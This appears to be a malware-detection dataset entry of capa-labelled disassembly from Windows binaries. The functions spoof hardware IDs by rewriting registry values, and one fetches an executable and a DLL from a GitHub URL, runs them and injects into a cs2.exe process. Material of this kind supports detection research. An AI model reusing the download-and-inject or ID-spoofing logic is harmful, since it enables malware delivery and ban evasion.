joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002f50
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x60
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, r8
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov r14, rdx
mov rbp, rcx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor edx, edx
lea rcx, [0x140026c60]
mov r8d, 0x208
test eax, eax
jne 0x1400030da
mov qword [rsp + 0x58], rdi
mov dword [rsp + 0x38], r8d
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbp
call qword [0x140026e80]
mov r9d, 0xc0
mov qword [rsp + 0x28], rbx
mov r8, r14
mov dword [rsp + 0x20], 0xc4
lea rdx, [0x140026c66]
lea rcx, str._ws_ws_n_c_c__ws___
call fcn.140001010
xor edi, edi
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], di
jne 0x140003011
test rax, rax
je 0x1400030a2
mov qword [rsp + 0x98], rsi
mov rcx, rdi
mov qword [rsp + 0x50], r15
lea r15, [0x140025a70]
nop word [rax + rax]
lea rsi, [rbx + rcx*2]
mov edx, 0x80
movzx ecx, word [rsi]
call fcn.140008b58
test eax, eax
je 0x14000307b
call fcn.140006530
cdqe
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [r15 + rcx*2], 0
jne 0x140003063
xor edx, edx
div rcx
movzx eax, word [r15 + rdx*2]
mov word [rsi], ax
inc edi
mov rax, 0xffffffffffffffff
mov ecx, edi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140003086
cmp rcx, rax
jb 0x140003040
mov r15, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x98]
mov eax, dword [rsp + 0x30]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rbx
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, rbx
lea rcx, str._ws_n_n
call fcn.140001010
mov rdi, qword [rsp + 0x58]
jmp 0x140003122
mov dword [rsp + 0x3c], 0x208
call fcn.1400053d0
lea rax, [rsp + 0x3c]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbp
call qword [0x140026e80]
mov r8, r14
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_read:__ws_ws_n_n
call fcn.140001010
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400041b0
add rsp, 0x60
pop r14
pop rbp
pop rbx
ret
Function at 0x140003230
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
mov eax, 0x2050
call fcn.1400177b0
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x2040], rax
lea rax, [rsp + 0x30]
xor ebx, ebx
mov r9d, 0xf003f
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlSystemInformation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
test eax, eax
je 0x1400032e5
mov r8d, 0x208
mov dword [rsp + 0x38], 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
lea edx, [rbx + 3]
mov rcx, 0xffffffff80000002
call qword [0x140026e80]
lea r8, str.SYSTEMCurrentControlSetControlSystemInformation
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400034cb
mov qword [rsp + 0x2060], rsi
lea rcx, [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov r8d, 0x1ffe
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], 0x1ffe
mov qword [rsp + 0x28], rax
lea rdx, str.ComputerHardwareIds
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000345f
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x1400033c5
mov qword [rsp + 0x2068], rdi
mov qword [rsp + 0x2070], r14
lea r14, [0x140025a70]
nop
mov eax, ebx
lea rdi, [rsp + 0x40]
movzx ecx, word [rdi + rax*2]
lea rdi, [rdi + rax*2]
mov edx, 0x80
call fcn.140008b58
test eax, eax
je 0x1400033ab
call fcn.140006530
cdqe
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [r14 + rcx*2], 0
jne 0x140003390
dec rcx
xor edx, edx
div rcx
movzx eax, word [r14 + rdx*2]
mov word [rdi], ax
mov eax, dword [rsp + 0x38]
inc ebx
cmp ebx, eax
jb 0x140003360
mov r14, qword [rsp + 0x2070]
mov rdi, qword [rsp + 0x2068]
mov dword [rsp + 0x28], eax
lea rdx, str.ComputerHardwareIds
lea rax, [rsp + 0x40]
mov r9d, 7
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor edx, edx
mov dword [rsp + 0x3c], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x3c]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x140026e80]
mov eax, dword [rsp + 0x38]
lea r8, str.ComputerHardwareIds
mov dword [rsp + 0x28], eax
lea rdx, [0x140026c66]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_multi_string_of_length__d_n_n
call fcn.140001010
jmp 0x1400034ba
xor edx, edx
mov dword [rsp + 0x3c], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x3c]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x140026e80]
lea r8, str.ComputerHardwareIds
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_read:__ws_ws_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x2060]
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.1400041b0
add rsp, 0x2050
pop rbx
ret
Function at 0x1400034f0
Capabilities:
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r8
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
xor r8d, r8d
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
mov rsi, rdx
mov rbx, rcx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003592
xor edx, edx
mov dword [rsp + 0x38], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r8, rsi
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003684
mov rbx, qword [rsp + 0x30]
call fcn.140006530
mov dword [rsp + 0x40], eax
call fcn.140006530
mov dword [rsp + 0x44], eax
mov r9d, 0xb
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 8
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor edx, edx
mov dword [rsp + 0x38], 0x208
lea rcx, [0x140026c60]
mov r8d, 0x208
test eax, eax
jne 0x14000363b
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
mov r8, rdi
lea rdx, [0x140026c66]
lea rcx, str._ws_ws_n_c_c_qword_n_n
call fcn.140001010
jmp 0x14000367b
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r8, rdi
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_write:__ws_ws_n_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400041b0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400036a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbp, r8
lea rax, [rsp + 0x30]
xor ebx, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x30], rbx
mov r9d, 0xf003f
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003742
xor edx, edx
mov dword [rsp + 0x38], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x38]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
lea edx, [rbx + 3]
mov rcx, rdi
call qword [0x140026e80]
mov r8, rsi
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400038b6
mov rsi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov rcx, rsi
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov dword [rsp + 0x38], ebx
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400037cc
xor edx, edx
mov dword [rsp + 0x3c], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x3c]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x140026e80]
mov r8, rbp
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x1400038ad
mov ecx, dword [rsp + 0x38]
call fcn.140008bd8
mov rdi, rax
test rax, rax
jne 0x1400037ee
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x1400038ad
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x14000381a
call fcn.140006530
and eax, 0x800000ff
jge 0x14000380b
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rsp + 0x38]
cmp ebx, eax
jb 0x1400037f6
mov dword [rsp + 0x28], eax
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.140008bc4
xor edx, edx
mov dword [rsp + 0x3c], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x3c]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x140026e80]
mov eax, dword [rsp + 0x38]
lea rdx, [0x140026c66]
mov dword [rsp + 0x28], eax
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
mov r8, rbp
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400041b0
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400038e0
Capabilities:
Delete registry key

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, r8
mov qword [rsp + 0x50], 0
mov rdi, rdx
lea r8, [rsp + 0x50]
mov rdx, rsi
mov rbx, rcx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp eax, 0x3fd
jne 0x14000395c
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rsi
mov rcx, rbx
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400039bc
xor edx, edx
mov dword [rsp + 0x58], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x58]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r8, rsi
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_create_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003ae9
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCopyTreeW]
test eax, eax
jne 0x140003a87
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
xor edx, edx
mov dword [rsp + 0x58], 0x208
lea rcx, [0x140026c60]
mov r8d, 0x208
test eax, eax
jne 0x140003a54
call fcn.1400053d0
lea rax, [rsp + 0x58]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r9d, 0xc0
mov qword [rsp + 0x28], rsi
mov r8, rdi
mov dword [rsp + 0x20], 0xc4
lea rdx, [0x140026c66]
lea rcx, str._ws_ws_n_c_c_renamed_to__ws_n_n
call fcn.140001010
jmp 0x140003ade
call fcn.1400053d0
lea rax, [rsp + 0x58]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
lea rcx, str.Failed_to_delete_key:__ws_ws_n_n
jmp 0x140003acf
xor edx, edx
mov dword [rsp + 0x58], 0x208
mov r8d, 0x208
lea rcx, [0x140026c60]
call fcn.1400053d0
lea rax, [rsp + 0x58]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
lea rcx, str.Failed_to_copy_key:__ws_ws_n_n
mov r8, rdi
lea rdx, [0x140026c66]
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400041b0
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003b00
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
cmp eax, 2
je 0x140003bd9
xor edx, edx
mov dword [rsp + 0x30], 0x208
lea rcx, [0x140026c60]
mov r8d, 0x208
test eax, eax
jne 0x140003b99
call fcn.1400053d0
lea rax, [rsp + 0x30]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
mov r8, rdi
lea rdx, [0x140026c66]
lea rcx, str._ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x140003bd9
call fcn.1400053d0
lea rax, [rsp + 0x30]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r8, rdi
lea rdx, [0x140026c66]
lea rcx, str.Failed_to_delete_value:__ws_ws_n_n
call fcn.140001010
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400041b0
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140003c00
Capabilities:
Delete registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x140003ce2
xor edx, edx
mov dword [rsp + 0x30], 0x208
lea rcx, [0x140026c60]
mov r8d, 0x208
test eax, eax
jne 0x140003c9f
call fcn.1400053d0
lea rax, [rsp + 0x30]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r9, rsi
mov dword [rsp + 0x28], 0xc4
mov r8, rdi
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x140026c66]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x140003ce2
call fcn.1400053d0
lea rax, [rsp + 0x30]
mov r9d, 0x208
lea r8, [0x140026c60]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x140026e80]
mov r9, rsi
lea rdx, [0x140026c66]
mov r8, rdi
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400041b0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x140004040
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x6a0
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x480]
mov r8d, 0x208
call fcn.1400053d0
mov r8, rdi
lea rdx, str._ws
lea rcx, [rsp + 0x480]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x250
call fcn.1400053d0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x208
call fcn.1400053d0
lea r9, [rsp + 0x4c]
mov r8, rdi
lea rdx, str._ws_ws
lea rcx, [rsp + 0x270]
call qword [sym.imp.USER32.dll_wsprintfW]
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, 0x2e
jne 0x140004119
test ax, ax
je 0x140004153
cmp cx, cx
jne 0x140004119
cmp ax, cx
jne 0x140004119
cmp word [rsp + 0x50], 0
je 0x140004153
test byte [rsp + 0x20], 0x10
lea rdx, str.desktop.ini
je 0x140004136
lea rcx, [rsp + 0x270]
call fcn.140004040
jmp 0x140004153
lea rcx, [rsp + 0x4c]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x140004153
lea rcx, [rsp + 0x270]
call fcn.140003d00
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400040c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1400041b0
mov rbx, qword [rsp + 0x6b8]
add rsp, 0x6a0
pop rdi
ret

Function at 0x140006524
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400063b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400063b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400063b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400063b7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400063b7
cmp dword [rcx + 0xf8], 0
je 0x1400063b7
mov ecx, ebx
call fcn.140006458
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140006248
cmp dword [rbp + 0x20], 0
je 0x140006404
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000640c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006350
Function at 0x140002140
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov r9, qword [0x1400669d0]
lea rbp, [0x1400669b8]
mov r8, qword [0x1400669c8]
mov rax, r9
sub rax, r8
mov rsi, rdx
mov edi, ecx
cmp rax, 0xb
jb 0x1400021b2
lea rax, [r8 + 0xb]
cmp r9, 0xf
mov rbx, rbp
mov qword [0x1400669c8], rax
cmova rbx, qword [0x1400669b8]
lea rdx, str.Intall.exe
add rbx, r8
mov r8d, ntohs
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], 0
jmp 0x1400021c5
mov edx, ntohs
mov qword [rsp + 0x20], send
call fcn.140002380
cmp edi, 5
jne 0x14000223a
lea r8, [rsi + 8]
mov r9d, edi
lea r11, str._proc
lea r10, str._url
nop
mov rdx, qword [r8 - 8]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x140002210
cmp rcx, 6
jne 0x1400021f0
mov rax, qword [r8]
mov qword [str.cs2.exe], rax
jmp 0x140002230
xor eax, eax
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x140002230
cmp rax, 5
jne 0x140002212
mov rax, qword [r8]
mov qword [str.https:__github.com_Infinitydagestan_cert727272_raw_main_fatality.dll], rax
add r8, 8
sub r9, 1
jne 0x1400021e0
mov rbx, qword [str.cs2.exe]
mov rcx, rbx
call fcn.140002590
mov edi, eax
mov rdx, rbx
test eax, eax
jne 0x140002263
lea rcx, str.____Cant_get__s_PID_n
call fcn.140001180
jmp 0x140002355
mov r8d, edi
lea rcx, str.____s_PID:__d_n
call fcn.140001180
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400022a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_error:_0x_X_n
call fcn.140001180
jmp 0x140002355
cmp qword [0x1400669d0], 0xf
lea rdx, str.https:__github.com_Infinitydagestan_cert727272_raw_main_Intall.exe
mov r8, rbp
mov qword [rsp + 0x20], 0
cmova r8, qword [0x1400669b8]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
cmp qword [0x1400669d0], 0xf
lea rdx, str.open
mov dword [rsp + 0x28], 0
cmova rbp, qword [0x1400669b8]
xor r9d, r9d
mov r8, rbp
mov qword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [str.cs2.exe]
lea rcx, str.____s_Handle:__p_n
mov r8, rbx
call fcn.140001180
mov rcx, rbx
call fcn.140001340
test al, al
jne 0x140002340
lea rcx, str.____Injection_error_n
call fcn.140001180
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002355
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Injected__n
call fcn.140001180
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140002590
Capabilities:
Enumerate processes
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x280
mov rax, qword [0x140066080]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r14, rcx
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140002618
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateToolhelp32Snapshot_error:_0x_X_n
call fcn.140001180
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140002719
xor esi, esi
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000270e
mov ecx, Ordinal_26
call fcn.14004fea0
mov rbx, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x140002677
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rsi
mov dword [rbx + 0x10], 1
lea rcx, [rsp + 0x5c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140002758
jmp 0x14000267a
mov rbx, rsi
mov qword [rsp + 0x20], rbx
test rbx, rbx
je 0x14000274d
mov rax, qword [rbx + 8]
test rax, rax
jne 0x14000269d
mov rcx, qword [rbx]
call fcn.14004fbd0
mov qword [rbx + 8], rax
mov rcx, r14
sub rax, r14
movzx edi, byte [rcx]
movzx edx, byte [rcx + rax]
sub edi, edx
jne 0x1400026b5
inc rcx
test edx, edx
jne 0x1400026a3
mov eax, 0xffffffff
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400026f4
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400026d5
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], rsi
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400026e7
call fcn.140050124
mov qword [rbx + 8], rsi
mov edx, Ordinal_26
mov rcx, rbx
call fcn.140050124
test edi, edi
je 0x140002747
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002630
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14004fe80
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov esi, dword [rsp + 0x38]
jmp 0x14000270e
mov ecx, 0x8007000e
call fcn.14004fbc0
nop
mov ecx, 0x8007000e
call fcn.14004fbc0
int3